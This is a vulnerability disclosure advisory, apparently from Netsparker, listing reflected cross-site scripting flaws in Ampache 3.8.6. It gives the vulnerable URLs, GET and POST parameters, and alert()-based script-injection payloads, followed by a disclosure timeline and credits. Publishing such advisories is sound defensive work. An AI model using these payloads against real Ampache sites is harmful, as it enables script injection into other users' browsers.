Multiple Reflected Cross-site Scripting Vulnerabilities in Ampache 3.8.6
Information
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Advisory by Netsparker
Name: Multiple Reflected Cross-site Scripting in Ampache 3.8.6
Affected Software: Ampache
Affected Versions: 3.8.6
Homepage: http://ampache.org
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Netsparker Advisory Reference: NS-18-046
Technical Details
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URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id='"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>&burl=http://www.example.com&artist_name=Smith&album_name=Smith&cover=3
Parameter Type: GET
Parameter Name: mbid
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/artists.php?action=show_missing&mbid='+alert(0x003D85)+'
Parameter Type: GET
Parameter Name: mbid
Attack Pattern: '+alert(0x003D85)+'
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=album&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover=
Parameter Type: GET
Parameter Name: object_id
Attack Pattern: "><scRipt>alert(9)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover=
Parameter Type: GET
Parameter Name: object_id
Attack Pattern: "><scRipt>alert(9)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Type: POST
Parameter Name: rule_1
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Type: POST
Parameter Name: rule_1_input
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Type: POST
Parameter Name: rule_1_subtype
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song
Parameter Type: POST
Parameter Name: rule_1_input
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song
Parameter Type: POST
Parameter Name: rule_1
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8
Parameter Type: POST
Parameter Name: rule_1
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8
Parameter Type: POST
Parameter Name: rule_1_input
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>
URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8
Parameter Type: POST
Parameter Name: rule_1_subtype
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).
Advisory Timeline
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12th November 2018- First Contact Attempt
9th January 2019 - Advisory Released
Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.
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